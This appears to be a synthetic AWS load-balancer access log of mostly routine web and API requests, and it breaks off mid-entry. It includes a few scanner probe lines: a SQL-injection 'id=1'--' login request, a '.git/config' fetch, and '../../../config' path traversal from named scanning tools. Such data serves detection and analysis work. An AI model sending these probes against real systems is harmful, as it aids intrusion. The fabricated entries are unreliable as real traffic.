staging-alb 87.170.249.162:47781 71.189.142.99:80 0.142153 0.043141 0.095984 200 200 881 11713 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c3fb-da58b9d0d9bb4ff3a194138e" "staging-alb.example.com" "-" 9 2024-11-01T00:52:59.205183Z "forward" "-" "-" "71.189.142.99:80" "200" "-" "-" +https 2024-11-01T00:53:00.431376Z prod-web-alb 93.250.36.55:40287 10.0.24.10:443 0.010888 0.086645 0.049132 404 404 74 14083 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c3fc-a67afdd0cdff49f9940de54b" "prod-web-alb.example.com" "-" 9 2024-11-01T00:53:00.431376Z "forward" "-" "-" "10.0.24.10:443" "404" "-" "-" +http 2024-11-01T00:53:01.852426Z staging-alb 105.181.108.95:27850 36.81.34.246:80 0.126720 0.645373 0.119448 200 200 457 14235 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c3fd-e67a1d9c56df42ef8fb683fa" "staging-alb.example.com" "-" 1 2024-11-01T00:53:01.852426Z "forward" "-" "-" "36.81.34.246:80" "200" "-" "-" +https 2024-11-01T00:53:03.172709Z prod-api-alb 158.242.95.135:46054 10.0.126.99:443 0.007081 0.238961 0.091757 200 200 838 12301 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c3ff-5a4bf912625941bcbec8ad82" "prod-api-alb.example.com" "-" 3 2024-11-01T00:53:03.172709Z "forward" "-" "-" "10.0.126.99:443" "200" "-" "-" +https 2024-11-01T00:53:04.249035Z prod-web-alb 84.219.45.117:46876 10.0.252.38:443 0.081138 0.082677 0.088359 200 200 921 359 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c400-fb90cb4e24da4b7aa5cfab15" "prod-web-alb.example.com" "-" 6 2024-11-01T00:53:04.249035Z "forward" "-" "-" "10.0.252.38:443" "200" "-" "-" +https 2024-11-01T00:53:04.742086Z prod-api-alb 3.244.151.160:63814 10.0.229.105:443 0.041258 0.132237 0.004353 200 200 579 14346 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c400-265a08027c7741e08ae747d3" "-" "-" 8 2024-11-01T00:53:04.742086Z "forward" "-" "-" "10.0.229.105:443" "200" "-" "-" +https 2024-11-01T00:53:05.573744Z prod-api-alb 241.58.233.158:24736 10.0.135.240:443 0.098482 0.004178 0.071059 404 404 41 14859 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c401-feea720680dd4d76b7d37edb" "prod-api-alb.example.com" "-" 7 2024-11-01T00:53:05.573744Z "forward" "-" "-" "10.0.135.240:443" "404" "-" "-" +https 2024-11-01T00:53:07.019688Z prod-api-alb 133.109.75.105:15472 10.0.233.76:443 0.007576 0.238355 0.045436 404 404 968 3991 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c403-382adf27fba542da8957edfa" "prod-api-alb.example.com" "-" 3 2024-11-01T00:53:07.019688Z "forward" "-" "-" "10.0.233.76:443" "404" "-" "-" +https 2024-11-01T00:53:08.019096Z staging-alb 182.31.162.196:32513 202.171.75.6:443 0.028784 0.440176 0.111201 200 200 525 12318 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c404-7ae656a6b8ab44ababb86747" "staging-alb.example.com" "-" 6 2024-11-01T00:53:08.019096Z "forward" "-" "-" "202.171.75.6:443" "200" "-" "-" +https 2024-11-01T00:53:09.144377Z staging-alb 96.56.197.75:31391 202.60.36.75:443 0.083272 0.583506 0.123586 200 200 474 5097 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c405-4a82d9f61db745a4adf64296" "staging-alb.example.com" "-" 3 2024-11-01T00:53:09.144377Z "forward" "-" "-" "202.60.36.75:443" "200" "-" "-" +https 2024-11-01T00:53:10.788252Z prod-web-alb 97.147.188.35:42755 10.0.147.200:443 0.023093 0.013048 0.063336 301 301 164 2608 "GET /products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c406-dba4cceac433450eb0ea2190" "prod-web-alb.example.com" "-" 3 2024-11-01T00:53:10.788252Z "forward" "-" "-" "10.0.147.200:443" "301" "-" "-" +https 2024-11-01T00:53:11.048886Z prod-api-alb 152.68.157.158:38935 10.0.112.204:443 0.004143 0.307269 0.049172 200 200 172 13440 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c407-ab2e3849e2f642f0885c66de" "prod-api-alb.example.com" "-" 6 2024-11-01T00:53:11.048886Z "forward" "-" "-" "10.0.112.204:443" "200" "-" "-" +https 2024-11-01T00:53:11.966980Z prod-api-alb 178.97.165.46:32725 10.0.37.1:443 0.046965 0.424344 0.097109 302 302 771 14451 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c407-5488df455ebc4a9ab3d0fedc" "prod-api-alb.example.com" "-" 3 2024-11-01T00:53:11.966980Z "forward" "-" "-" "10.0.37.1:443" "302" "-" "-" +https 2024-11-01T00:53:12.672326Z prod-web-alb 22.72.128.122:56148 10.0.221.11:443 0.049468 0.184797 0.052748 200 200 419 12988 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c408-c8dc7df1c4a641fca2dd84b1" "prod-web-alb.example.com" "-" 2 2024-11-01T00:53:12.672326Z "forward" "-" "-" "10.0.221.11:443" "200" "-" "-" +https 2024-11-01T00:53:13.997627Z prod-api-alb 3.77.136.149:20802 10.0.69.108:443 0.092841 0.414186 0.047697 302 302 957 6246 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c409-1896b88b76a64441ab607a1f" "prod-api-alb.example.com" "-" 1 2024-11-01T00:53:13.997627Z "forward" "-" "-" "10.0.69.108:443" "302" "-" "-" +https 2024-11-01T00:53:15.948504Z prod-api-alb 47.78.217.192:30819 10.0.84.95:443 0.064283 0.154552 0.089356 200 200 626 13277 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c40b-3718d964117c4884acc0c327" "prod-api-alb.example.com" "-" 1 2024-11-01T00:53:15.948504Z "forward" "-" "-" "10.0.84.95:443" "200" "-" "-" +http 2024-11-01T00:53:16.667867Z staging-alb 13.242.249.188:22915 131.47.8.34:443 0.079803 0.484936 0.048459 301 301 55 5696 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c40c-bc7abf6bafe04abaae7aace4" "staging-alb.example.com" "-" 4 2024-11-01T00:53:16.667867Z "forward" "-" "-" "131.47.8.34:443" "301" "-" "-" +https 2024-11-01T00:53:18.102800Z prod-api-alb 127.136.93.33:35942 10.0.81.223:443 0.004421 0.135087 0.025974 301 301 549 11755 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c40e-4389d0755d1e40f0a3fe13ac" "prod-api-alb.example.com" "-" 9 2024-11-01T00:53:18.102800Z "forward" "-" "-" "10.0.81.223:443" "301" "-" "-" +https 2024-11-01T00:53:18.993983Z prod-web-alb 215.191.226.103:59024 10.0.114.83:443 0.001047 0.165749 0.042642 301 301 700 11174 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c40e-eb01358c6a61469a92985a7e" "prod-web-alb.example.com" "-" 1 2024-11-01T00:53:18.993983Z "forward" "-" "-" "10.0.114.83:443" "301" "-" "-" +https 2024-11-01T00:53:20.210333Z prod-api-alb 191.16.30.207:53630 10.0.124.100:443 0.029348 0.329461 0.086570 301 301 951 11933 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c410-94615df3e785456cbdaa6660" "-" "-" 5 2024-11-01T00:53:20.210333Z "forward" "-" "-" "10.0.124.100:443" "301" "-" "-" +https 2024-11-01T00:53:22.173339Z staging-alb 82.144.76.244:51076 58.10.4.161:8080 0.104699 0.245396 0.112018 302 302 163 354 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c412-f15946cf0e404a2aa11bf4c7" "staging-alb.example.com" "-" 6 2024-11-01T00:53:22.173339Z "forward" "-" "-" "58.10.4.161:8080" "302" "-" "-" +https 2024-11-01T00:53:22.764925Z prod-api-alb 4.243.6.62:48008 10.0.235.195:443 0.047613 0.458063 0.093840 200 200 820 12261 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c412-3cf1080f2c6d4f1b9895f8d6" "prod-api-alb.example.com" "-" 8 2024-11-01T00:53:22.764925Z "forward" "-" "-" "10.0.235.195:443" "200" "-" "-" +https 2024-11-01T00:53:22.910594Z prod-web-alb 141.13.176.37:57382 10.0.8.125:443 0.017962 0.139986 0.058342 302 302 661 7172 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c412-f54a753f94a642bd9b1da62a" "prod-web-alb.example.com" "-" 5 2024-11-01T00:53:22.910594Z "forward" "-" "-" "10.0.8.125:443" "302" "-" "-" +https 2024-11-01T00:53:24.863500Z prod-api-alb 208.72.18.80:25848 10.0.21.128:443 0.089566 0.095158 0.016557 200 200 887 3525 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c414-64d80865b1404449850a3fa6" "prod-api-alb.example.com" "-" 0 2024-11-01T00:53:24.863500Z "forward" "-" "-" "10.0.21.128:443" "200" "-" "-" +http 2024-11-01T00:53:25.358742Z staging-alb 162.163.246.19:40875 11.191.194.17:443 0.078815 0.379497 0.141453 301 301 122 9224 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c415-04919c0b897a4f599c840ea5" "staging-alb.example.com" "-" 8 2024-11-01T00:53:25.358742Z "forward" "-" "-" "11.191.194.17:443" "301" "-" "-" +https 2024-11-01T00:53:25.775184Z staging-alb 223.39.234.54:28839 174.202.70.200:443 0.053048 0.016348 0.129904 301 301 969 9587 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c415-7a8855fe5fd541cd9b167cd3" "staging-alb.example.com" "-" 9 2024-11-01T00:53:25.775184Z "forward" "-" "-" "174.202.70.200:443" "301" "-" "-" +https 2024-11-01T00:53:27.243364Z prod-api-alb 153.26.224.251:51617 10.0.71.200:443 0.035289 0.374450 0.076082 200 200 384 3462 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c417-2b47bb2f8ffd422cbec1a422" "prod-api-alb.example.com" "-" 8 2024-11-01T00:53:27.243364Z "forward" "-" "-" "10.0.71.200:443" "200" "-" "-" +http 2024-11-01T00:53:28.130879Z staging-alb 29.250.237.242:36092 74.84.143.232:8080 0.100077 0.399647 0.101587 200 200 703 5631 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c418-4c925c1ff1c24208a84396e3" "staging-alb.example.com" "-" 0 2024-11-01T00:53:28.130879Z "forward" "-" "-" "74.84.143.232:8080" "200" "-" "-" +https 2024-11-01T00:53:28.695761Z prod-api-alb 74.189.127.42:54817 10.0.20.100:443 0.083435 0.413935 0.043478 200 200 734 13026 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c418-f9d02eb23dfd4cd984f06ba6" "prod-api-alb.example.com" "-" 2 2024-11-01T00:53:28.695761Z "forward" "-" "-" "10.0.20.100:443" "200" "-" "-" +http 2024-11-01T00:53:29.349140Z staging-alb 121.33.234.151:29342 74.30.89.215:80 0.004914 0.063138 0.019138 302 302 588 13617 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c419-b111a24d366c4a63ae0e903d" "staging-alb.example.com" "-" 9 2024-11-01T00:53:29.349140Z "forward" "-" "-" "74.30.89.215:80" "302" "-" "-" +https 2024-11-01T00:53:30.067473Z prod-api-alb 193.27.228.131:58424 10.0.43.136:443 0.057058 0.165329 0.080783 500 500 686 2011 "POST /login?id=1'-- HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c41a-626784ad6e214912ae120f75" "-" "-" 3 2024-11-01T00:53:30.067473Z "forward" "-" "-" "10.0.43.136:443" "500" "-" "-" +https 2024-11-01T00:53:31.473796Z prod-web-alb 3.50.42.233:12123 10.0.140.22:443 0.039114 0.101870 0.073347 200 200 764 14279 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c41b-004461f20dc5411985f2dff6" "prod-web-alb.example.com" "-" 7 2024-11-01T00:53:31.473796Z "forward" "-" "-" "10.0.140.22:443" "200" "-" "-" +https 2024-11-01T00:53:32.026008Z prod-api-alb 48.117.136.42:26206 10.0.237.3:443 0.015639 0.031915 0.040942 302 302 129 1941 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c41c-8aaf0f24a5cd49a49d9a80e5" "prod-api-alb.example.com" "-" 4 2024-11-01T00:53:32.026008Z "forward" "-" "-" "10.0.237.3:443" "302" "-" "-" +http 2024-11-01T00:53:33.138325Z staging-alb 8.203.164.189:15875 193.153.183.12:443 0.121506 0.390274 0.022193 200 200 228 14084 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c41d-65ad1ce79daf4ee2befb5601" "staging-alb.example.com" "-" 6 2024-11-01T00:53:33.138325Z "forward" "-" "-" "193.153.183.12:443" "200" "-" "-" +https 2024-11-01T00:53:34.941104Z prod-web-alb 185.181.110.51:56537 10.0.230.206:443 0.034097 0.209158 0.030189 403 403 666 4936 "POST /.git/config HTTP/1.1" "dirbuster/1.0-RC1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c41e-a1a4222058644935a19ec0f8" "-" "-" 8 2024-11-01T00:53:34.941104Z "forward" "-" "-" "10.0.230.206:443" "403" "-" "-" +http 2024-11-01T00:53:35.315189Z staging-alb 185.181.60.141:35118 221.99.17.102:8080 0.049726 0.658620 0.141142 403 403 384 5062 "GET /api/../../../config HTTP/1.1" "Acunetix-Agent" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c41f-efc1016bc539476f854645d3" "-" "-" 5 2024-11-01T00:53:35.315189Z "forward" "-" "-" "221.99.17.102:8080" "403" "-" "-" +http 2024-11-01T00:53:36.063227Z staging-alb 235.29.199.13:28893 119.37.244.41:8080 0.095779 0.393264 0.067597 404 404 221 1305 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c420-7f248477b5fa4058b293e9c3" "staging-alb.example.com" "-" 10 2024-11-01T00:53:36.063227Z "forward" "-" "-" "119.37.244.41:8080" "404" "-" "-" +https 2024-11-01T00:53:37.802519Z prod-api-alb 145.86.202.150:63915 10.0.41.163:443 0.027051 0.218940 0.091157 301 301 691 6748 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c421-69e82b6071154fabaa4dfb81" "prod-api-alb.example.com" "-" 10 2024-11-01T00:53:37.802519Z "forward" "-" "-" "10.0.41.163:443" "301" "-" "-" +https 2024-11-01T00:53:38.588954Z prod-web-alb 42.22.253.139:45221 10.0.66.217:443 0.093200 0.044394 0.009569 404 404 545 207 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c422-c4b428cf6c644f3e929d184e" "prod-web-alb.example.com" "-" 7 2024-11-01T00:53:38.588954Z "forward" "-" "-" "10.0.66.217:443" "404" "-" "-" +https 2024-11-01T00:53:40.587769Z prod-web-alb 50.212.77.108:19840 10.0.128.38:443 0.028827 0.113854 0.030241 301 301 252 9020 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c424-75656b863a8449c1aa3a036b" "prod-web-alb.example.com" "-" 2 2024-11-01T00:53:40.587769Z "forward" "-" "-" "10.0.128.38:443" "301" "-" "-" +https 2024-11-01T00:53:41.239148Z prod-api-alb 174.90.242.9:53941 10.0.145.25:443 0.068824 0.358185 0.033654 200 200 810 1458 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c425-e171d031ed7f4a4b9c9412fa" "prod-api-alb.example.com" "-" 6 2024-11-01T00:53:41.239148Z "forward" "-" "-" "10.0.145.25:443" "200" "-" "-" +https 2024-11-01T00:53:42.036792Z prod-api-alb 193.27.228.181:63983 10.0.167.22:443 0.042522 0.360195 0.083207 403 403 976 7199 "GET /api/../../../config HTTP/1.1" "Nmap Scripting Engine (https://nmap.org/book/nse.html)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c426-1e6bb140f0b94a6dab4540fe" "-" "-" 5 2024-11-01T00:53:42.036792Z "forward" "-" "-" "10.0.167.22:443" "403" "-" "-" +https 2024-11-01T00:53:43.456307Z prod-web-alb 225.215.74.166:32789 10.0.24.228:443 0.036255 0.205014 0.061617 200 200 490 4319 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c427-0f73e75299da4ce3a09c4762" "prod-web-alb.example.com" "-" 9 2024-11-01T00:53:43.456307Z "forward" "-" "-" "10.0.24.228:443" "200" "-" "-" +https 2024-11-01T00:53:45.009370Z prod-web-alb 214.173.170.192:23949 10.0.101.136:443 0.026658 0.351303 0.092764 404 404 35 5794 "GET /cart HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c429-6f788b317f75444fbb966874" "prod-web-alb.example.com" "-" 8 2024-11-01T00:53:45.009370Z "forward" "-" "-" "10.0.101.136:443" "404" "-" "-" +https 2024-11-01T00:53:46.223885Z staging-alb 156.204.153.127:47146 33.244.131.159:8080 0.147653 0.160780 0.133945 200 200 96 7967 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c42a-eda89f6cc3b44975a4147709" "staging-alb.example.com" "-" 5 2024-11-01T00:53:46.223885Z "forward" "-" "-" "33.244.131.159:8080" "200" "-" "-" +https 2024-11-01T00:53:47.121788Z prod-api-alb 216.31.150.175:20104 10.0.122.89:443 0.048107 0.197990 0.053105 200 200 565 8073 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c42b-43154304c6874909a129466d" "prod-api-alb.example.com" "-" 1 2024-11-01T00:53:47.121788Z "forward" "-" "-" "10.0.122.89:443" "200" "-" "-" +https 2024-11-01T00:53:47.949049Z prod-web-alb 223.47.83.218:16837 10.0.140.134:443 0.065762 0.230780 0.039991 200 200 511 1710 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c42b-ca1b1d6a896e42c981ab7120" "prod-web-alb.example.com" "-" 1 2024-11-01T00:53:47.949049Z "forward" "-" "-" "10.0.140.134:443" "200" "-" "-" +https 2024-11-01T00:53:48.654615Z prod-web-alb 118.46.64.207:51168 10.0.129.247:443 0.097925 0.215244 0.081360 200 200 651 12282 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 